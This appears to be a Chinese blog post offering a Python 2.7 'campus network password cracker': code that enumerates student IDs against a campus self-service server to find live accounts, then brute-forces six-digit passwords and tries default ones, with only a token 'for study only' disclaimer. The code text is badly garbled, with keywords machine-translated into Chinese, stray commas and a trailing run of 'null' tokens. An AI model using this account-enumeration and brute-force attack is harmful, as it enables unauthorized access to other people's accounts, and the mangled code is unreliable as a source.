校园网密码破解程序

  

环境:Python 2.7

# !/usr/bin/env  Python   #=utf8编码   print “+”* 50   print  u”功能:简单破解校园网账号”   print  u”微信公众号:电脑趣的事”   print  u”仅供学习交流使用,严禁违法犯罪,否则后果自负”   print “+”* 50      import  httplib   import  urllib   import 再保险         用户名=[]   时间=httpClient 没有   If_password =(000000, 123456, 123123, 456456, 789789, 110110, 110120, 111111, 222222, 333333, 444444, 555555, 666666, 777777, 888888, 999999, 5201314)      def 确定():   nj =, int (raw_input (“please  select  a  class  15日16日17:“).strip ())   start =int (raw_input (“please  input 开始(提示:1234):“).strip ())   最终获得=,int (raw_input (“please  input 结束(提示:5678):“).strip ())      if (最终获得& lt;=start 或(nj  !=, 15,以及nj  !=, 16,以及新泽西!=17)):   print  u”输入有误,请重新选择”   print ‘=? 50   菜单()   退出()   其他:   print “please  wait  a  moment ”      #构造学号   for 小姐:拷贝范围(开始、结束):   ,,,for  j 拷贝范围(0100):   ,,,,,,,key_numer =, int (str (nj) + str (i) .zfill (4) + str (j) .zfill (3))   ,,,,,,,   ,,,,,,,试一试:   ,,,,,,,,,,,params =, urllib.urlencode({“关键”:,key_numer})   ,,,,,,,,,,,headers =,{“内容类型”:,“应用程序/x-www-form-urlencoded”,“接受”:,“text/plain”}   ,,,,,,,,,,,httpClient =, httplib.HTTPConnection(“10.54.100.1”, 8080年,超时=30)   ,,,,,,,,,,,httpClient.request(“后”,“selfservice/模块/userself/web/userself_reg_ajax.jsf ? methodName=regUserinfoBean.checkUser ",,参数,,头)   ,,,,,,,,,,,response =, httpClient.getresponse ()   ,,,,,,,,,,,right_or_wrong =, response.read ()   ,,,,,,,,,,,#正则和判断   ,,,,,,,,,,,zhengze =, re.findall (r, 'false right_or_wrong ,, re.M | re.I)   ,,,,,,,,,,,if  len (zhengze),==, 1:   ,,,,,,,,,,,,,,,username.append (key_numer)   ,,,,,,,,,,,   ,,,,,,,except 例外,,e:   ,,,,,,,,,,,print  e   ,,,,,,,最后:   ,,,,,,,,,,,if  httpClient:   ,,,,,,,,,,,,,,,httpClient.close ()   print “。”* 50   print  u”在这个范围内已开通的账号有:“   print “   print 用户名   print “。”* 50   return 用户名      def 连接(用户名、密码):   global    试一试:   params =, urllib.urlencode({“名称”:用户名、“密码”:密码})   headers =,{“内容类型”:,“应用程序/x-www-form-urlencoded”,“接受”:,“text/plain”}   时间=httpClient  httplib.HTTPConnection(“10.54.100.1”, 8080年,超时=30)   httpClient.request(“后”,,“/selfservice/模块/scgroup/web/login_judge.jsf”,,参数,,头)   时间=response  httpClient.getresponse ()   时间=right_or_wrong  response.read ()      pipei =, re.findall (r 'errorMsg, right_or_wrong,, re.M | re.I)   if  len (pipei)==1:   a =, 0, #判断是否爆破出来的标记   通过   其他:   print  u”账号:% s \ 000 \ 000密码:% s“%(用户名、密码)   a =1      例外,except  e:   print  e   最后:   if  httpClient:   ,,,httpClient.close ()   return       def  yanzheng ():   UserName =, str (raw_input (“please  select  a  UserName 输入:“).strip ())   for 小姐:拷贝范围(0,1000000):   PassWord =, str (i) .zfill (6)   连接(用户名、密码)   if  a ==, 1:   打破   其他:   通过      def  Default_password_single ():   UserName =, str (raw_input (“please  select  a  UserName 输入:“).strip ())   时间=PassWord 用户名[3:10]   连接(用户名、密码)   if  a ==0:   PassWord =,‘123456’   连接(用户名、密码)   if ==0:   print  u”已经查找完成”      def  Default_password_not_single ():   print “please  wait  a 时刻”   for 小姐:拷贝范围(0,len(用户名):   UserName =, str(用户名(我))   时间=PassWord 用户名[3:10]   连接(用户名、密码)   if  a ==0:   PassWord =,‘123456’   连接(用户名、密码)   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null

校园网密码破解程序